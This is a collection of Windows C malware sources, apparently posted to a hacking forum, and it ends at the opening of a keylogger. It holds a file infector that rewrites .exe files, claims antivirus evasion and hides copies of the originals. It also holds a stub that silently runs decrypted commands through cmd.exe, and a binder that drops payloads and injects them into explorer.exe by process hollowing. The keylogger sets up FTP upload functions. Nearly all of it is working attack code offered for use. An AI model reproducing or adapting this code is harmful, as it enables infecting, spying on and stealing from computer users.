#include <windows.h>

	/*
		#########################################################################################
		#																						#
		#	Infección de ejecutables por - Nico Buzzi - xxneeco83xx								#
		#	Este metodo no es detectado por la heuristica de los antivirus talez como Avira.	#
		#	Codigo para foro UnderC0de.org - 15/8/15											#
		#																						#
		#########################################################################################
	*/

//Estroctura para alocar los numeros de buffers y los buffers diferentes separados por el delimitador
typedef struct
{
	char **string_data;
	int number_string;

} split_struct;

split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee );
DWORD __stdcall _lstrlen ( IN LPSTR lpszString );

split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee )
{

	//Definiciones de variables.
	split_struct *return_value;
	DWORD lpszBuffer_length, lpDelimitador_length;
	DWORD bytes = 0, x = 1, aciertos = 0, count = 0, items = 0, p = 0, contador = 0;
	LPSTR MyBuffer, *buffer;

	lpszBuffer_length = dwSizee;
	lpDelimitador_length = _lstrlen ( lpDelimitador );
	bool encontre = false;
	
	//Reservamos la variable principal
	MyBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
	memcpy ( & MyBuffer [ 0 ], & lpszBuffer [ 0 ], lpszBuffer_length );
	
	//Reservamos las variables necesarias
	return_value = ( split_struct * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
	buffer = ( LPSTR * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length + 1 ) );
	*buffer = 0;

	//Recorremos el buffer en busqueda de el delimitador.
	for ( bytes = 0; bytes <= lpszBuffer_length; bytes ++ )
	{
		if ( MyBuffer [ bytes ] == lpDelimitador [ 0 ] )
		{
			for ( x = 0; x <= lpDelimitador_length; x++ )
			{
				//En caso de coincidir con el delimitador, incrementamos los aciertos
				if ( MyBuffer [ bytes + x ] == lpDelimitador [ x ] )
				{
					aciertos++;
				}

				//Si ya se acerto toda la firma, cortamos el for.
				if ( aciertos == lpDelimitador_length )
				{
					items ++;
					break;
				}
			}
		}

		//Si coincide el delimitador con el buffer que vamos analizando.
		if ( aciertos == lpDelimitador_length )
		{
			
			//Reservamos el buffer, y copiamos los bytes hasta el delimitador.
			buffer [ ++ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
			memcpy ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], bytes );
			
			//Ajustamos el buffer.
			MyBuffer += ( bytes + lpDelimitador_length ); 
				
			//Acertado, volvemos a restablecer valores.
			encontre = true;
			aciertos = 0;
			bytes = 0;
		}
		
		//En caso de encontrar la cadena en la cual esta la ruta, en un buffer a parte reservamos el buffer.
		if ( encontre == true && lstrcmpA ( ( buffer [ count ] + _lstrlen ( buffer [ count ] ) - 4 ), "exe-" ) == 0 )
		{
			encontre = false;
				
			count ++;
			buffer [ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
			CopyMemory ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], lpszBuffer_length - ( _lstrlen ( buffer [ count - 1 ] ) ) );
			
			items ++;
			break;
		}
	}
	
	//Liberamos el buffer que usamos temporalmente.
	GlobalFree ( MyBuffer );
	
	//Le decimos cuales son los punteros a apuntar desde la estroctura.
	return_value -> string_data = buffer;
	return_value -> number_string = items;
	
	//Returnamos
	return return_value;

}

//Funcion que remplaza a lstrlenA o strlen ( de string.h )
DWORD __stdcall _lstrlen ( IN LPSTR lpszString )
{

	register DWORD bytes = 0;
	
	//Vamos contando los caracteres que contiene nuestro buffer.
	while ( * ( lpszString ++ ) != 0x00 ) bytes ++;
	
	return DWORD ( bytes );
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance, 
	LPSTR lpszArgument, int nCmdFunstil )
{

	//Variables necesarias
	HANDLE File;
	DWORD dwBytes, dwSize, dwSizeOriginal, Attributes, NewSize;
	WIN32_FIND_DATA Find;
	HANDLE Search;

	//Estrocturas PE
	PIMAGE_DOS_HEADER pImageDosHeader;
	PIMAGE_NT_HEADERS pImageNtHeaders;
	PIMAGE_SECTION_HEADER pImageSectionHeader;
	
	//Variable para CreateProcess, para poder ejecutar la aplicación.
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	
	//Rellenamos las estrocturas
	ZeroMemory ( &si, sizeof ( STARTUPINFOA ) );
	ZeroMemory ( &pi, sizeof ( PROCESS_INFORMATION ) );
	
	//Calculamos el tamaño de StartupInfoA struct en su cb
	si.cb = sizeof ( STARTUPINFOA );
	
	//Variables de tipo puntero char.
	LPSTR AppName, Buffer, NewBuffer, PathInfect, PreBuffer, Path, Firma;

	//Obtenemos nuestro nombre de ejecutable.
	AppName = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
	GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
	
	//Nos abrimos
	File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0,
		OPEN_EXISTING, 0, 0 );
		
	//Si existe algun error al abrirnos para leernos.
	if ( ( File == INVALID_HANDLE_VALUE ) ) 
	{
		CloseHandle ( File );
		GlobalFree ( AppName );
	
		return EXIT_FAILURE;
	}

	//Obtenemos el tamaño de nuestro archivo
	dwSize = GetFileSize ( File, 0 );
	dwSizeOriginal = dwSize;
	
	//Luego de leernos
	Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
	ReadFile ( File, Buffer, dwSize, &dwBytes, 0 );
	CloseHandle ( File );

	//Liberamos la variable que contiene nuestra ruta.
	GlobalFree ( AppName );

	//Obtenemos el PE, y el tamaño de nuestro ejecutable, para determinar si somos o no un archivo infectado.
	pImageDosHeader = ( PIMAGE_DOS_HEADER ) & Buffer [ 0 ];
	pImageNtHeaders = ( PIMAGE_NT_HEADERS ) & Buffer [ pImageDosHeader -> e_lfanew ];
	pImageSectionHeader = ( PIMAGE_SECTION_HEADER ) & Buffer [ pImageDosHeader -> e_lfanew + sizeof ( IMAGE_NT_HEADERS ) + sizeof ( IMAGE_SECTION_HEADER ) * ( pImageNtHeaders -> FileHeader.NumberOfSections - 1 ) ];

	NewSize = pImageSectionHeader -> PointerToRawData + pImageSectionHeader -> SizeOfRawData;

	//En caso de no ser un archivo infectado infecto.
	if ( NewSize == dwSize )
	{

		//En el directorio
		char directory [ MAX_PATH + 1 ];
		wsprintfA ( directory, "%s\\nueva\\*", getenv ( "homedrive" ) );
		
		//Comenzamos la busqueda
		Search = FindFirstFileA ( directory, &Find );
	
		//Si hay problemas al listar, salimos.
		if ( Search == INVALID_HANDLE_VALUE )
		{
			FindClose ( Search );
	
			return EXIT_FAILURE;
		}

		//Avanzamos en el directorio de system32 buscando archivos a infectar
		while ( FindNextFileA ( Search, & Find ) != 0 )
		{
			//Si el archivo es ejecutable (.exe)
			if ( lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".exe" ) == 0 || lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".EXE" )  == 0 )
			{ 

				//Alojamos la firma
				Firma = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), 500 );
				wsprintfA ( Firma, "#EXE" );
				lstrcatA ( Firma, "CUTABLE#" );
		
				//Creamos la ruta de donde iremos a buscar ejecutables para infectar.
				PathInfect = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
				CopyMemory ( & PathInfect [ 0 ], & directory [ 0 ], _lstrlen ( directory ) - 1 );

				CopyMemory ( & PathInfect [ lstrlenA ( PathInfect ) ], &Find.cFileName, lstrlenA ( Find.cFileName ) );
				Attributes = GetFileAttributesA ( PathInfect );

				//Abrimos el ejecutable que iremos a infectar
				File = CreateFileA ( PathInfect, GENERIC_READ, FILE_SHARE_READ, 0,
					OPEN_EXISTING, Attributes, 0 );

				//Verificamos que no haya fallos a la hora de abrir el ejecutable a infectar
				if ( File == INVALID_HANDLE_VALUE )
				{
					
					CloseHandle ( File );
					GlobalFree ( Firma );
					GlobalFree ( PathInfect );
				
					return EXIT_FAILURE;
				}
				
				//Creamos la firma que le colocaremos para distinguir el infectado al ejecutable normal
				CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & PathInfect [ 0 ], _lstrlen ( PathInfect ) );
				CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & "-#EXE", _lstrlen ( ( LPSTR ) "-#EXE" ) );
				lstrcatA ( Firma, "CUTABLE#" );
	
				//Obtenemos el tamaño del archivo a infectar
				dwSize = GetFileSize ( File, 0 );
				PreBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
		
				//Leemos el archivo que vamos a infectar
				ReadFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
				CloseHandle ( File );
	
				//Abrimos el archivo a infectar
				File = CreateFileA ( PathInfect, GENERIC_WRITE, FILE_SHARE_WRITE, 0,
					CREATE_ALWAYS, Attributes, 0 );

				//Escribimos el nuevo archivo.
				WriteFile ( File, Buffer, dwSizeOriginal, &dwBytes, 0 );
				WriteFile ( File, Firma, _lstrlen ( Firma ), &dwBytes, 0 );
				WriteFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
				WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
				WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
				WriteFile ( File, "ENDOF", _lstrlen ( ( LPSTR ) "ENDOF" ), &dwBytes, 0 );
				WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
				WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
				CloseHandle ( File );
			
				//Liberamos los buffers
				GlobalFree ( PreBuffer );
				GlobalFree ( PathInfect );
				GlobalFree ( Firma );
			}

		}

		//Cerramos la busqueda
		FindClose ( Search );
		
		//Liberamos el buffer
		GlobalFree ( Buffer );

		//Salimos.
		return EXIT_SUCCESS;
	}
	
	//De lo contrario creamos el archivo
	
	//Ajustamos el nuevo tamaño
	dwSize -= NewSize;
	
	//Creamos el nuevo buffer
	NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
	CopyMemory ( & NewBuffer [ 0 ], & Buffer [ NewSize ], dwSize );

	Path = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
	
	char firmita [ 250 ];
	wsprintf ( firmita, "%sEXE", "#" );
	lstrcatA ( firmita, "CUTABLE#" );
	
	split_struct *resultado = split ( NewBuffer, ( LPSTR ) firmita, dwSize );
	
	//Recorremos los items
	for ( int i = 1; i <= resultado -> number_string; i ++ )
	{

		//Comprobamos que la cadena que obtenemos no sea una invalida.
		if ( _lstrlen ( resultado -> string_data [ i ] ) <= 0 ) i += 1;

		//Abrimos un nuevo archivo de modo oculto para su ejecución de modo que no sea sospechoso.
		File = CreateFileA ( resultado -> string_data [ i ], GENERIC_WRITE, FILE_SHARE_WRITE, 0, 
			CREATE_ALWAYS, ( 0x1 | 0x2 | 0x4 ), 0 );
			
		//Si no podemos crear el archivo
		if ( File == INVALID_HANDLE_VALUE )
		{
			CloseHandle ( File );
			GlobalFree ( AppName );
			GlobalFree ( NewBuffer );
			GlobalFree ( Path );

			return EXIT_FAILURE;
		}
	
		//Escribimos la ruta, y calculamos el tamaño a escribir.
		WriteFile ( File, resultado -> string_data [ i + 1 ], dwSize - _lstrlen ( resultado -> string_data [ i ] ), &dwBytes, 0 );
		CloseHandle ( File );
		
		//Ejecutamos el archivo, y esperamos por el hasta que se cierre.
		CreateProcessA ( resultado -> string_data [ i ], 0, 0, 0, false, CREATE_DEFAULT_ERROR_MODE, 0, 0, &si, &pi );
		WaitForSingleObject ( pi.hProcess, INFINITE );
		
		//Eliminamos el archivo una vez haya sido terminado de ejecutar.
		SetFileAttributesA ( resultado -> string_data [ i ], FILE_ATTRIBUTE_NORMAL );
		DeleteFileA ( resultado -> string_data [ i ] );
		
		//Liberamos el buffer
		GlobalFree ( resultado -> string_data [ i ] );
		
		//Interrumpimos el for
		break;
	}
	
	//Liberamos los buffers.
	GlobalFree ( AppName );
	GlobalFree ( NewBuffer );
	GlobalFree ( Path );
	
	//Salimos
	return EXIT_SUCCESS;
}

#include <windows.h>

int __stdcall ExecuteCommand ( IN LPSTR lpszCommand );
int __stdcall Decrypt ( LPSTR String, LPSTR Out );

int __stdcall ExecuteCommand ( IN LPSTR lpszCommand )
{

	LPSTR szPath;
	char newcommand [ lstrlenA ( lpszCommand ) + 50 ];
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	
	ZeroMemory ( &si, sizeof ( si ) );
	ZeroMemory ( &pi, sizeof ( pi ) );

	si.cb = sizeof ( si );
	
	szPath = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );

	GetSystemDirectoryA ( szPath, MAX_PATH );
	CopyMemory ( &szPath [ lstrlenA ( szPath ) ], &"\\cmd.exe", lstrlenA ( "cmd.exe" ) + 1 );

	wsprintfA ( newcommand, "/c %s", lpszCommand );
	
	CreateProcessA ( szPath, newcommand, 0, 0, false, CREATE_NO_WINDOW, 0, 0, &si, &pi );

	//ShellExecuteA ( HWND_DESKTOP, "open", szPath, newcommand, 0, SW_HIDE );

	WaitForSingleObject ( pi.hProcess, INFINITE );
	
	CloseHandle ( pi.hProcess );
	CloseHandle ( pi.hThread );

	GlobalFree ( szPath );
	
	return 0;
	
}

//Funcion para desencryptar palabras
int __stdcall Decrypt ( LPSTR String, LPSTR Out )
{

	for ( ; *String != '\0'; *String ++ )
	{
		if ( ( *String >= 65 ) && ( *String < 90 ) )
		{
			*Out = *String - 1;
		}
		else if ( ( *String >= 65 ) && ( *String == 90 ) )
		{
			*Out = *String + 1;
		}
		else if ( ( *String >= 97 ) && ( *String < 122 ) )
		{
			*Out = *String - 1;
		}
		else if ( ( *String >= 97 ) && ( *String == 122 ) )
		{
			*Out = *String - 1;
		}
		else
		{
			*Out = *String;
		}
		
		*Out ++;
	}

	return 0;
}

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
	LPSTR lpszArgument, int nCmdFunstil )
{
	
	DWORD dwBytes, dwSize;
	HANDLE File;
	LPSTR Buffer, Command, AppName, backup;
	register DWORD bytes = 0, x = 0, total = 0, test = 0;

	AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
	GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

	File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
	if ( File == INVALID_HANDLE_VALUE )
	{
		CloseHandle ( File );
		return EXIT_FAILURE;
	}

	dwSize = GetFileSize ( File, 0 );

	Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSize + 1 ) );
	ReadFile ( File, Buffer, dwSize, &dwBytes, 0 );
	CloseHandle ( File );

	//Buscamos la firma de nuestro programa. 
	for ( bytes; bytes <= dwSize; bytes ++ )
	{
		if ( Buffer [ bytes ] == '*' && Buffer [ bytes + 1 ] == '+' &&
			Buffer [ bytes + 2 ] == '+' && Buffer [ bytes + 3 ] == '*' )
		{
			//Ajustamos el buffer y el nuevo tamaño.
			Buffer += ( bytes + 4 );
			dwSize -= ( bytes + 4 );

			break;
		}
	}

	//Desencryptamos el codigo en nustro EOF.
	backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Buffer + 1 ) ) );
	CopyMemory ( &backup [ 0 ], &Buffer [ 0 ], lstrlenA ( Buffer ) );
	
	GlobalFree ( Buffer );
	
	Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( backup ) + 1 ) );
	Decrypt ( backup, Buffer );
	
	GlobalFree ( backup );

	for ( bytes = 0; bytes <= lstrlenA ( Buffer ); bytes ++ )
	{
		if ( Buffer [ bytes ] == 13 || Buffer [ bytes ] == '\n' )
		{
			Command = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( bytes + 10 ) );
			
			CopyMemory ( &Command [ 0 ], &Buffer [ 0 ], ( bytes ) );
			
			total = lstrlenA ( Command );
			for ( x = 0; x <= total; x ++ )
			{
				
				//En caso de existir la variable %0 - la sustituimos por la ruta de nuestro ejecutable.
				if ( ( Command [ x ] == '%' ) && ( Command [ x + 1 ] == 48 ) )
				{
					backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Command ) + 1 ) );
					CopyMemory ( &backup [ 0 ], &Command [ 0 ], lstrlenA ( Command ) );
	
					GlobalFree ( Command );

					Command = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( bytes + lstrlenA ( AppName ) + MAX_PATH ) );
	
					CopyMemory ( &Command [ 0 ], &backup [ 0 ], x - 1 );
					lstrcatA ( Command, " " );
					backup += ( x + 2 );
					CopyMemory ( &Command [ lstrlenA ( Command ) ], &AppName [ 0 ], lstrlenA ( AppName ) );
			
					CopyMemory ( &Command [ lstrlenA ( Command ) ], &backup [ 0 ], total - ( x + 2 ) );
					
					GlobalFree ( backup );
	
					break;
				}
			}

			for ( test = 0; test <= lstrlenA ( Command ); test ++ )
			{
				if ( ( Command [ test ] == 13 ) || ( Command [ test ] == '\n' ) )
				{
				
					backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Command ) + 1 ) );
					CopyMemory ( &backup [ 0 ], &Command [ 0 ], test );
					
					ExecuteCommand ( backup );
				
					Command += ( test + 1 );

					GlobalFree ( backup );
				}
			}
				
			//Ejecutamos el comando
			ExecuteCommand ( Command );

			//Reajustamos el buffer.
			Buffer += ( bytes + 2 );
			
			//Liberamos el buffer.
			GlobalFree ( Command );
		}
	}

	GlobalFree ( AppName );
	GlobalFree ( Buffer );

	return EXIT_SUCCESS;
}

#include <windows.h>

typedef LONG ( __stdcall *_NtUnmapViewOfSection ) ( IN HANDLE pFile, IN PVOID ImageBase );

/*
	##########################################################################
	# Stub de panda binder 1
	# Diseñado y desarrollado por xxneeco83xx
	# Para Underc0de.org
	#
	# Soporta varios archivos
	#
	# [email protected]
	##########################################################################
*/

//Estroctura MYFILE
typedef struct TAGfile {

	char extension [ MAX_PATH ];
	char randomize [ MAX_PATH ];
	char modex [ MAX_PATH ];
} MYFILE, *LPMYFILE;

bool __stdcall EjecuteMemory ( IN LPVOID Buffer, IN LPSTR AppName );

bool __stdcall EjecuteMemory ( IN LPVOID Buffer, IN LPSTR AppName ) {

	PIMAGE_DOS_HEADER IDH;
	PIMAGE_NT_HEADERS INTH;
	PIMAGE_SECTION_HEADER ISH;

	PROCESS_INFORMATION PI;
	STARTUPINFOA SI;
	
	PCONTEXT CTX;
	PDWORD dwImageBase;
	LPVOID pImageBase;

	int Count = 0;
                                                                                                                                        //NtUnmapViewOfSection
	_NtUnmapViewOfSection NtUnmapViewOfSection = ( _NtUnmapViewOfSection ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "NTDLL.DLL"), "NtUnmapViewOfSection" );
	if ( NtUnmapViewOfSection == 0L )
	{
		return false;
	}
	
	IDH = PIMAGE_DOS_HEADER ( Buffer );
	
	if ( IDH->e_magic == IMAGE_DOS_SIGNATURE )
	{

		INTH = PIMAGE_NT_HEADERS ( DWORD ( Buffer ) + IDH->e_lfanew );
		
		if ( INTH->Signature == IMAGE_NT_SIGNATURE ) {

			RtlZeroMemory ( &SI, sizeof ( SI ) );
			RtlZeroMemory ( &PI, sizeof ( PI ) );
		
			if ( CreateProcessA ( AppName, 0L, 0L, 0L, false, CREATE_SUSPENDED, 0, 0, &SI, &PI ) )
			{
				CTX = PCONTEXT ( VirtualAlloc ( 0L, sizeof ( CTX ), MEM_COMMIT, PAGE_READWRITE ) );
				CTX->ContextFlags = CONTEXT_FULL;

				if ( GetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) ) ) {
					ReadProcessMemory ( PI.hProcess, LPCVOID ( CTX->Ebx + 8), LPVOID ( &dwImageBase ), 4, 0L );
			
					if ( DWORD ( dwImageBase ) == INTH->OptionalHeader.ImageBase )
					{
						NtUnmapViewOfSection ( PI.hProcess, PVOID ( dwImageBase ) );
					}
					else
					{
						return false;
					}

					pImageBase = VirtualAllocEx ( PI.hProcess, LPVOID ( INTH->OptionalHeader.ImageBase ), INTH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE );
						
					if ( pImageBase ) {
					
						WriteProcessMemory ( PI.hProcess, pImageBase, Buffer, INTH->OptionalHeader.SizeOfHeaders, 0 );
						
						for ( Count; Count < INTH->FileHeader.NumberOfSections; Count ++ )
						{
							ISH = PIMAGE_SECTION_HEADER ( DWORD ( Buffer ) + IDH->e_lfanew + 248 + ( Count * 40 ) );
							WriteProcessMemory ( PI.hProcess, LPVOID ( (DWORD ( pImageBase ) + ISH->VirtualAddress ) ), LPVOID ( ( DWORD ( Buffer ) + ISH->PointerToRawData ) ), ISH->SizeOfRawData, 0 );
						}

						WriteProcessMemory ( PI.hProcess, LPVOID ( CTX->Ebx + 8 ), LPVOID ( &INTH->OptionalHeader.ImageBase ), 4, 0 );
						CTX->Eax = DWORD ( pImageBase ) + INTH->OptionalHeader.AddressOfEntryPoint;
	
						SetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) );
						ResumeThread ( PI.hThread );
					}
				}
			}
		}
	}

	GlobalFree ( Buffer );

	return TRUE;
}

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance, 
	LPSTR lpszArgument, int nCmdFunstil ) {
	
	//Variables globales.
	HANDLE File;
	DWORD dwSize, dwBytes, a, b, c, e, d, number_files, mode, size;

	//Estroctura PE
	PIMAGE_DOS_HEADER IDH;
	PIMAGE_NT_HEADERS INTH;

	//Estroctura para CreateProcessA
	STARTUPINFOA stinfo;
	PROCESS_INFORMATION pi;

	//Puntero a estroctura MYFILE
	MYFILE file;

	//Variables de tipo string puntero.
	LPSTR Temp, Path, StubBuffer, AppName;

	//Inicializamos contador random, y estrocturas stinfo y pi
	srand ( GetTickCount () ); //Inicializamos el randomizador.
	ZeroMemory ( &stinfo, sizeof ( stinfo ) );
	ZeroMemory ( &pi, sizeof ( pi ) );

	//Obtenemos nuestro nombre         /*GPTR MEMORY FIXED*/
	AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
	GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

	//Nos leemos
	File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0
		, OPEN_EXISTING, 0, 0 );
	
	if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) ) {

		CloseHandle ( File );
		GlobalFree ( AppName );

		return EXIT_FAILURE;
	}

	//Obtenemos nuestro tamaño
	dwSize = GetFileSize ( File, 0 );

	//Nos leemos.                       /*GPTR MEMORY FIXED*/
	StubBuffer = PCHAR ( GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSize + 1 ) ) );
	ReadFile ( File, StubBuffer, dwSize, &dwBytes, 0 );

	CloseHandle ( File );
	
	//Liberamos nuestro nombre.
	GlobalFree ( AppName );

	for ( a = 0; a <= dwSize; a ++ ) {

		//Buscamos la firma en el EOF
		if ( ( StubBuffer [ a ] == 'c' ) && ( StubBuffer [ a + 1 ] == 'o' ) && ( StubBuffer [ a + 2 ] == 't' ) &&
			( StubBuffer [ a + 3 ] == 'e' ) ) {
	
			StubBuffer += ( a + 4 );
			dwSize -= ( a + 4 );

			/* Ajustamos el tamaño al del nuevo buffer, y configuramos el nuevo buffer */

			break;
		}
	}

	for ( b = 0; b <= dwSize; b ++ ) {

		//Buscamos un buffer
		if ( ( StubBuffer [ b ] == '*' ) && ( StubBuffer [ b + 1 ] == 'n' ) && ( StubBuffer [ b + 2 ] == 'e' ) && 
			( StubBuffer [ b + 3 ] == 'w' ) && ( StubBuffer [ b + 4 ] == '*' ) ) {

			//Comprobamos si estamos en el final
			if ( ( StubBuffer [ b + 5 ] == 'f' ) && ( StubBuffer [ b + 6 ] == 'i' ) && ( StubBuffer [ b + 7 ] == 'n' ) ) {
		
				GlobalFree ( Temp );
				GlobalFree ( StubBuffer );

				ExitProcess ( 0 );
			}

			//Obtenemos la extension del archivo.
			CopyMemory ( & file.extension [ 0 ], & StubBuffer [ b + 5 ], 3 );
			CopyMemory ( & file.modex [ 0 ], & StubBuffer [ b + 8 ], 1 );

			//Obtenemos el modo a ejecutar
			mode = atoi ( file.modex );
			
			//Procedemos a buscar el final del archivo.
			for ( c = b + 9; c <= dwSize; c ++ ) {
				
				//Obtenemos el tamaño del nuevo archivo.
				if ( ( StubBuffer [ c ] == '*' ) && ( StubBuffer [ c + 1 ] == 'n' ) && ( StubBuffer [ c + 2 ] == 'e' ) && 
					( StubBuffer [ c + 3 ] == 'w' ) && ( StubBuffer [ c + 4 ] == '*' ) ) {
						size = ( c - 1 );
						break;
				}
			}

			//Ruta del archivo a donde ejecutarnos.
			char explorer [ MAX_PATH + 1 ];
			wsprintfA ( explorer, "%s\\explorer.exe", getenv ( "windir" ) );

			//Generamos la ruta del nuevo archivo.
			wsprintfA ( file.randomize, "%s\\%d%d.%s", getenv ( "windir" ), rand () % GetSystemMetrics ( SM_CXSCREEN ), rand () % GetSystemMetrics ( SM_CYSCREEN ), file.extension );

			//Obtenemos el buffer del archivo.
			Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( size + 1 ) );
			CopyMemory ( & Temp [ 0 ], & StubBuffer [ b + 9 ], c );

			//Procedemos a limpiar el buffer
			int orig = size;
			for ( d = 0; d <= orig; d ++ ) {
				if ( ( Temp [ orig - d ] == '*' ) && ( Temp [ orig - ( d - 1 ) ] == 'n' ) &&
					( Temp [ orig - ( d - 2 ) ] == 'e' ) && ( Temp [ orig - ( d - 3 ) ] == 'w' ) && ( Temp [ orig - ( d - 4 ) ] == '*' ) ) {
					
					//Reajustamos el tamaño del archivo.
					size -= ( d - 1 );
					break;
				}
			}

			//Obtenemos PE
			IDH = PIMAGE_DOS_HEADER ( Temp );
			INTH = PIMAGE_NT_HEADERS ( DWORD ( Temp ) + IDH -> e_lfanew );
		
			//Procedemos a crearlo.
			if ( lstrcmpA ( file.extension, "exe" ) != 0 && lstrcmpA ( file.extension, "EXE" ) != 0 )
			{
				File = CreateFileA ( file.randomize, GENERIC_WRITE, FILE_SHARE_WRITE, 0, 
					CREATE_ALWAYS, 0, 0 );
	
				if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) ) {
			
					CloseHandle ( File );
					GlobalFree ( StubBuffer );

					return EXIT_FAILURE;
				}

				WriteFile ( File, Temp, size, &dwBytes, 0 );
				CloseHandle ( File );
			}
			else
			{
				//Comprobamos que sea ejecutable.
				if ( ( IDH -> e_magic == IMAGE_DOS_SIGNATURE ) )
				{
					if ( ( INTH -> Signature == IMAGE_NT_SIGNATURE ) )
					{
						if ( mode == 0 || mode == 1 )
						{
							EjecuteMemory ( Temp, explorer );
						}
					}

				}
				else
				{
					if ( mode == 0 )
					{
						CreateProcessA ( file.randomize, 0, 0, 0, false, CREATE_NO_WINDOW, 0, 0, &stinfo, & pi );
					}
					else
					{
						CreateProcessA ( file.randomize, 0, 0, 0, false, CREATE_DEFAULT_ERROR_MODE, 0, 0, &stinfo, & pi );
					}
					
					/* SI no es archivo que contenga formato PE (Portable Executable) lo ejecutamos con CreateProcessA */
				}
			}
			
			//Liberamos el buffer nuevamente asi podremos volver a utilizarlo en la siguiente vuelta

			GlobalFree ( Temp );
			
			//Ajustamos el buffer.
			StubBuffer += ( size );
	
		}
	}
	
	//Una vez finalizado la creacion de archivos, procederemos a liberar el buffer principal.

	GlobalFree ( StubBuffer );

	return EXIT_SUCCESS;
}

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#define ALLOC(dwSizee) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSizee + 1 ) )
#define FREE(memblock) GlobalFree ( memblock )
#define GETSIZE(filename) GetSizeFile ( ( LPSTR )filename )

typedef PVOID IHANDLE;
typedef IHANDLE *LPIHANDLE;
typedef WORD I_PORT,*LPI_PORT;

#define LIB ( LPSTR ) "Wininet.dll"
#define ATTR ( DWORD ) ( 0x1 | 0x2 | 0x4 )

typedef BOOL ( __stdcall *_QueryFullProcessImageName ) ( IN HANDLE hProcess, IN DWORD dwFlags, 
	OUT LPTSTR lpExeName, OUT PDWORD lpdwSize );

typedef IHANDLE ( __stdcall *_iOpen ) ( IN LPCTSTR lpszAgent, IN DWORD dwAccessType, IN LPCTSTR lpszProxyName, IN LPCTSTR lpszProxyByPass, IN DWORD dwFlags );
typedef IHANDLE ( __stdcall *_iConnect ) ( IN IHANDLE hInternet, IN LPCTSTR lpszServerName, IN I_PORT nServerPort, IN LPCTSTR lpszUsername, IN LPCTSTR lpszPassword, IN DWORD dwService, IN DWORD dwFlags, IN DWORD_PTR dwContext );
typedef BOOL ( __stdcall *_iCloseHandle ) ( IN IHANDLE hInternet );
typedef BOOL ( __stdcall *_iSend ) ( IN IHANDLE hConnect, IN LPCTSTR lpszLocalFile, IN LPCTSTR lpszNewRemoteFile, IN DWORD dwFlags, IN DWORD_PTR dwContext );

	/*
		Keylogger avanzado by xxneeco83xx
